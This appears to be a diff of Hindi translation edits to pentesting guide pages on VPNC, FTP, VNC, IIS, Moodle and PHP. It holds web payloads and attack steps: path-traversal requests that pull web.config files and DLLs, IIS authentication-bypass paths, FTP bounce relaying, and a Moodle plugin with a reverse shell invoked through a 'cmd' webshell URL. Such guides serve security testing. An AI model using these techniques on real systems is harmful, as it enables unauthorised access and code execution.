Kali में, **VPNC** IPsec टनल स्थापित करने के लिए उपयोग किया जाता है। **प्रोफाइल** को निर्देशिका `/etc/vpnc/` में स्थित होना चाहिए। आप _**vpnc**_ कमांड का उपयोग करके इन प्रोफाइल को रंभ कर सकते हैं।
Kali में, **VPNC** IPsec टनल स्थापित करने के लिए उपयोग किया जाता है। **प्रोफाइल** को निर्देशिका `/etc/vpnc/` में स्थित होना चाहिए। आप _**vpnc**_ कमांड का उपयोग करके इन प्रोफाइल को प्रारंभ कर सकते हैं।
निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेट करने की प्रक्रिया को दर्शाते हैं:
```bash
@ -221,7 +223,7 @@ root@system:~# ifconfig tun0
- `[VPN_CONNECTION_ID]` को VPN कनेक्शन के पहचानकर्ता से बदलें।
- `[VPN_GROUP_SECRET]` को VPN के समूह गुप्त से बदलें।
- `[VPN_USERNAME]` और `[VPN_PASSWORD]` को VPN प्रमाणीकरण क्रेडेंशियल्स से बदलें।
- `[PID]` उस प्रक्रिया ID का प्रतीक है जो `vpnc` प्रारंभ करते समय असाइन की जाएगी।
- `[PID]` उस प्रक्रिया ID का प्रतीक है जो `vpnc` के आरंभ होने पर असाइन की जाएगी।
VPN कॉन्फ़िगर करते समय प्लेसहोल्डर्स को बदलने के लिए वास्तविक, सुरक्षित मानों का उपयोग सुनिश्चित करें।

View File

@ -33,7 +33,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### FTP के लिए starttls का उपयोग करके कनेक्ट करें
### FTP से starttls का उपयोग करके कनेक्ट करें
```
lftp
lftp :~> set ftp:ssl-force true
@ -87,8 +87,8 @@ STAT
```
### Anonymous login
_गुमनाम : गुमनाम_\
\&#xNAN;_गुमनाम :_\
_anonymous : anonymous_\
\&#xNAN;_anonymous :_\
\&#xNAN;_ftp : ftp_
```bash
ftp <IP>
@ -105,13 +105,13 @@ ftp <IP>
### Automated
Anon लॉगिन और बाउंस FTP जांचें डिफ़ॉल्ट रूप से nmap द्वारा **-sC** विकल्प के साथ या:
Anon लॉगिन और बाउंस FTP जांचें डिफ़ॉल्ट रूप से nmap द्वारा **-sC** विकल्प के साथ की जाती हैं या:
```bash
nmap --script ftp-* -p 21 <ip>
```
## ब्राउज़र कनेक्शन
## Browser connection
आप एक URL का उपयोग करके ब्राउज़र (जैसे Firefox) का उपयोग करके FTP सर्वर से कनेक्ट कर सकते हैं:
आप एक ब्राउज़र (जैसे Firefox) का उपयोग करके एक FTP सर्वर से कनेक्ट कर सकते हैं, एक URL का उपयोग करके जैसे:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं
- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां दशमलव में पोर्ट के रूप में डालना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)।
- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां चर "0" के रूप में और 6वां पोर्ट को दशमलव में रखना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)।
- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ एक TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**
- **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा
- **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो)
@ -148,34 +148,34 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPBounce हमला
कुछ FTP सर्वर PORT कमांड की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट FTP सर्वर के माध्यम से खुले हैं
कुछ FTP सर्वर कमांड PORT की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
[**यहाँ जानें कि FTP सर्वर का दुरुपयोग करके पोर्ट कैसे स्कैन करें।**](ftp-bounce-attack.md)
आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक न व्यवस्थापक उपयोगकर्ता को जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए एक फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
आप इस व्यवहार का दुरुपयोग करके एक FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर** पर **भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए एक फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
सिद्धांत आसान है:
1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा
2. **`REST X` का उपयोग करें ताकि आप उन अक्षरों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा)
2. **`REST X` का उपयोग करें ताकि आप उन वर्णों को भेजने से बच सकें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा)
3. **मनमाने सर्वर और सेवा से कनेक्ट करने के लिए `PORT` का उपयोग करें**
4. **सर्वर को सहेजे गए अनुरोध को भेजने के लिए `RETR` का उपयोग करें।**
4. **सर्वर को भेजने के लिए `RETR` का उपयोग करें।**
यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा को `RETR` के साथ भेजने के लिए पर्याप्त समय तक नहीं रहता**। इसे टालने के लिए सुझाव हैं:
यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा भेजने के लिए पर्याप्त समय तक नहीं रहता `RETR` के साथ**। इसे टालने के लिए सुझाव हैं:
- यदि आप एक HTTP अनुरोध भेज रहे हैं, तो **एक के बाद एक वही अनुरोध डालें** जब तक कि **\~0.5MB** कम से कम न हो। इस तरह:
{% file src="../../images/posts.txt" %}
{{#file}}
posts.txt
{% endfile %}
{{#endfile}}
- प्रयास करें कि **प्रोटोकॉल से संबंधित "जंक" डेटा के साथ अनुरोध को भरें** (FTP से बात करते समय शायद केवल जंक कमांड या फ़ाइल प्राप्त करने के लिए `RETR` निर्देश को दोहराना)
- बस **अनुरोध को बहुत सारे शून्य अक्षरों या अन्य के साथ भरें** (पंक्तियों में विभाजित या नहीं)
- प्रयास करें कि **प्रोटोकॉल के सापेक्ष "जंक" डेटा से अनुरोध को भरें** (FTP से बात करते समय शायद केवल जंक कमांड या फ़ाइल प्राप्त करने के लिए `RETR` निर्देश को दोहराना)
- बस **अनुरोध को बहुत सारे शून्य वर्णों या अन्य से भरें** (पंक्तियों में विभाजित या नहीं)
वैसे भी, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके एक FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर करें।](ftp-bounce-download-2oftp-file.md)
किसी भी तरह, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके एक FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर करें।](ftp-bounce-download-2oftp-file.md)
## Filezilla सर्वर भेद्यता
**FileZilla** आमतौर पर **स्थानीय** पर **FileZilla-Server** (पोर्ट 14147) के लिए एक **प्रशासनिक सेवा** को **बाइंड** करता है। यदि आप इस पोर्ट तक पहुँचने के लिए **अपने मशीन** से एक **टनल** बना सकते हैं, तो आप **खाली पासवर्ड** का उपयोग करके **इससे कनेक्ट** कर सकते हैं और FTP सेवा के लिए **एक नया उपयोगकर्ता** बना सकते हैं।
**FileZilla** आमतौर पर **स्थानीय** पर **FileZilla-Server** (पोर्ट 14147) के लिए एक **प्रशासनिक सेवा** **बाइंड** करता है। यदि आप इस पोर्ट तक पहुँचने के लिए **अपने मशीन** से एक **टनल** बना सकते हैं, तो आप **खाली पासवर्ड** का उपयोग करके **इससे कनेक्ट** कर सकते हैं और FTP सेवा के लिए **एक नया उपयोगकर्ता** **बनाने** के लिए।
## कॉन्फ़िग फ़ाइलें
```
@ -191,11 +191,11 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et
- `anonymous_enable=YES`
- `anon_upload_enable=YES`
- `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - गुमनाम के लिए निर्देशिका।
- `chown_uploads=YES` - गुमनाम रूप से अपलोड की गई फ़ाइलों की स्वामित्व बदलें
- `chown_username=username` - गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व प्राप्त करने वाला उपयोगकर्ता
- `anon_root=/home/username/ftp` - नाम के लिए निर्देशिका।
- `chown_uploads=YES` - अनाम रूप से अपलोड की गई फ़ाइलों के स्वामित्व को बदलें
- `chown_username=username` - उपयोगकर्ता जिसे अनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व दिया गया है
- `local_enable=YES` - स्थानीय उपयोगकर्ताओं को लॉगिन करने की अनुमति दें
- `no_anon_password=YES` - गुमनाम से पासवर्ड नहीं पूछें
- `no_anon_password=YES` - नाम से पासवर्ड नहीं पूछें
- `write_enable=YES` - कमांड की अनुमति दें: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, और SITE
### Shodan

View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
**वर्चुअल नेटवर्क कंप्यूटिंग (VNC)** एक मजबूत ग्राफिकल डेस्कटॉप-शेयरिंग सिस्टम है जो **रिमोट फ्रेम बफर (RFB)** प्रोटोकॉल का उपयोग करता है ताकि किसी अन्य कंप्यूटर के साथ रिमोट कंट्रोल और सहयोग सक्षम हो सके। VNC के साथ, उपयोगकर्ता कीबोर्ड और माउस इवेंट्स को द्विदिशीय रूप से प्रसारित करके एक रिमोट कंप्यूटर के साथ सहजता से इंटरैक्ट कर सकते हैं। यह वास्तविक समय में पहुंच की अनुमति देता है और नेटवर्क पर कुशल रिमोट सहायता या सहयोग को सुविधाजनक बनाता है।
@ -12,7 +11,7 @@ VNC आमतौर पर **5800 या 5801 या 5900 या 5901** पो
PORT STATE SERVICE
5900/tcp open vnc
```
## गणना
## Enumeration
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
@ -32,15 +31,16 @@ vncviewer [-passwd passwd.txt] <IP>::5901
make
vncpwd <vnc password file>
```
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किया गया पासवर्ड जो स्पष्ट-टेक्स्ट VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, वर्षों पहले उलट दिया गया था।\
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किए गए पासवर्ड को जो स्पष्ट-टेक्स्ट VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, वर्षों पहले उलट दिया गया था।\
**Windows** के लिए आप इस उपकरण का भी उपयोग कर सकते हैं: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
मैं इस उपकरण को यहाँ भी सहेजता हूँ ताकि पहुँच में आसान हो:
मैं इस उपकरण को यहाँ भी सहेजता हूँ ताकि पहुँच आसान हो:
{% file src="../images/vncpwd.zip" %}
{{#file}}
vncpwd.zip
{{#endfile}}
## Shodan
- `port:5900 RFB`
{{#include ../banners/hacktricks-training.md}}

View File

@ -35,9 +35,11 @@ X-FEServer: NHEXCHANGE2016
## IIS Discovery Bruteforce
डाउनलोड करें सूची जो मैंने बनाई है:
मैंने जो सूची बनाई है उसे डाउनलोड करें:
{% file src="../../images/iisfinal.txt" %}
{{#file}}
iisfinal.txt
{{#endfile}}
यह निम्नलिखित सूचियों की सामग्री को मिलाकर बनाई गई थी:
@ -61,7 +63,7 @@ X-FEServer: NHEXCHANGE2016
> **डाउनलोड की गई Dlls** से यह भी संभव है **नए namespaces** खोजने के लिए जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\
> इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं।\\
**.Net MVC अनुप्रयोगों** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से।
**.Net MVC applications** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से।
### **Exploring Binary Files**
@ -73,38 +75,38 @@ Host: example-mvc-application.minded
यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे:
- **EntityFramework** संस्करण
- **AppSettings** वेबपेज, क्लाइंट मान्यता, और JavaScript के लिए
- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन, और JavaScript के लिए
- **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन
- **System.webServer** मॉड्यूल सेटिंग्स
- **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc**
ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं।
ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, एप्लिकेशन के /bin फ़ोल्डर के भीतर स्थित हैं।
### **रूट डायरेक्टरी फ़ाइलें**
रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती हैं), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
### **Namespaces और Web.Config**
MVC अनुप्रयोग भी विशिष्ट नामस्थान के लिए अतिरिक्त **web.config फ़ाइलें** परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
MVC एप्लिकेशन विशिष्ट नामस्थान के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLLs डाउनलोड करना**
कस्टम नामस्थान का उल्लेख /bin निर्देशिका में मौजूद "**WebApplication1**" नामक DLL की ओर इशारा करता है। इसके बाद, **WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है:
कस्टम नामस्थान का उल्लेख "/bin" निर्देशिका में मौजूद "**WebApplication1**" नामक DLL की ओर इशारा करता है। इसके बाद, **WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**, /bin निर्देशिका में।
एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के अस्तित्व का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है।
एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के होने का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है।
### सामान्य फ़ाइलें
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
[यहाँ से](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -185,17 +187,17 @@ C:\xampp\tomcat\conf\server.xml
यदि आप निम्नलिखित त्रुटि देखते हैं:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर किए गए **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts को ब्रूट फोर्स** करने की आवश्यकता हो सकती है।
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** का **brute force** करना पड़ सकता है।
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character “\~” Vulnerability/Feature Short File/Folder Name Disclosure
आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **फोल्डर्स और फ़ाइलों को सूचीबद्ध** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\
यदि सर्वर कमजोर है, तो इस तकनीक की मुख्य सीमा यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकती है**।
आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **folders और files** को **enumerate** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\
इस तकनीक की मुख्य सीमा यदि सर्वर कमजोर है तो यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकता है।**
आप इस कमजोरी के लिए परीक्षण करने के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -205,13 +207,13 @@ C:\xampp\tomcat\conf\server.xml
आप **metasploit** का भी उपयोग कर सकते हैं: `use scanner/http/iis_shortname_scanner`
खोजी गई फ़ाइलों के **अंतिम नाम** को **खोजने** के लिए एक अच्छा विचार है कि आप **LLMs** से विकल्प पूछें जैसे कि इसे स्क्रिप्ट [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) में किया गया है।
खोजे गए फ़ाइलों के **अंतिम नाम** को **खोजने** के लिए एक अच्छा विचार है कि आप **LLMs** से विकल्प पूछें जैसे कि इसे स्क्रिप्ट [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) में किया गया है।
### Basic Authentication bypass
**Bypass** एक बेसिक ऑथेंटिकेशन (**IIS 7.5**) को एक्सेस करने की कोशिश करते हुए: `/admin:$i30:$INDEX_ALLOCATION/admin.php` या `/admin::$INDEX_ALLOCATION/admin.php`
आप नए **फोल्डर्स** खोजने और ऑथेंटिकेशन को **बायपास** करने के लिए इस **vulnerability** और पिछले वाले को **मिश्रित** करने की कोशिश कर सकते हैं।
आप नए **folders** खोजने और ऑथेंटिकेशन को **bypass** करने के लिए इस **vulnerability** और पिछले एक को **mix** करने की कोशिश कर सकते हैं।
## ASP.NET Trace.AXD enabled debugging
@ -229,17 +231,17 @@ ASP.NET में एक डिबगिंग मोड शामिल है
ASPXAUTH निम्नलिखित जानकारी का उपयोग करता है:
- **`validationKey`** (string): हस्ताक्षर सत्यापन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी।
- **`validationKey`** (string): सिग्नेचर वैलिडेशन के लिए उपयोग करने के लिए hex-encoded कुंजी।
- **`decryptionMethod`** (string): (डिफ़ॉल्ट “AES”)।
- **`decryptionIV`** (string): हेक्स-कोडित प्रारंभिक वेक्टर (डिफ़ॉल्ट शून्य वेक्टर)।
- **`decryptionKey`** (string): डिक्रिप्शन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी।
- **`decryptionIV`** (string): hex-encoded initialization vector (डिफ़ॉल्ट रूप से शून्य का एक वेक्टर)।
- **`decryptionKey`** (string): डिक्रिप्शन के लिए उपयोग करने के लिए hex-encoded कुंजी।
हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **हमले के तहत सर्वर पर उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं**, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **प्रतिरूपण** कर सकते हैं।\
हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं** जिसे आप हमले के तहत सर्वर पर **impersonate** करना चाहते हैं, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **impersonate** कर सकते हैं।\
यह हमला इस [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) में काम किया।
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी पर हिट करता है** जो पहले से ही **कैश** में है, उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
```python
# script for sanity check
> type test.py

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## स्वचालित स्कैन
## Automatic Scans
### droopescan
```bash
@ -67,19 +66,21 @@ cmsmap http://moodle.example.com/<moodle_path>
## **RCE**
आपको **प्रबंधक** भूमिका होनी चाहिए और आप **"Site administration"** टैब के अंदर **प्लगइन्स स्थापित कर सकते हैं**\*\*:\*\*
आपको **प्रबंधक** भूमिका होनी चाहिए और आप **"Site administration"** टैब के अंदर **प्लगइन्स इंस्टॉल कर सकते हैं**\*\*:\*\*
![](<../../images/image (630).png>)
यदि आप प्रबंधक हैं, तो भी आपको **इस विकल्प को सक्रिय करने** की आवश्यकता हो सकती है। आप देख सकते हैं कि moodle विशेषाधिकार वृद्धि PoC में कैसे: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)।
यदि आप प्रबंधक हैं, तो आपको **इस विकल्प को सक्रिय करने** की आवश्यकता हो सकती है। आप देख सकते हैं कि moodle विशेषाधिकार वृद्धि PoC में कैसे: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)।
फिर, आप **निम्नलिखित प्लगइन स्थापित कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev shell** है (_इसे अपलोड करने से पहले आपको इसे अनजिप करना होगा, revshell का IP और पोर्ट बदलना होगा और फिर से संकुचित करना होगा_)
फिर, आप **निम्नलिखित प्लगइन इंस्टॉल कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev shell** है (_इसे अपलोड करने से पहले आपको इसे डिकंप्रेस करना होगा, IP और पोर्ट को बदलना होगा और फिर से संकुचित करना होगा_)
{% file src="../../images/moodle-rce-plugin.zip" %}
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
या आप [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) से प्लगइन का उपयोग कर सकते हैं ताकि "cmd" पैरामीटर के साथ एक नियमित PHP शेल प्राप्त कर सकें।
दुष्ट प्लगइन लॉन्च करने के लिए आपको इस पर पहुंचने की आवश्यकता है:
दुष्ट प्लगइन को लॉन्च करने के लिए आपको इस पर पहुंचने की आवश्यकता है:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```

View File

@ -2,7 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## कुकीज़ का सामान्य स्थान:
यह phpMyAdmin कुकीज़ के लिए भी मान्य है।
@ -29,13 +28,15 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ
![](<../../../images/image (567).png>)
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह संख्या के बराबर होती है
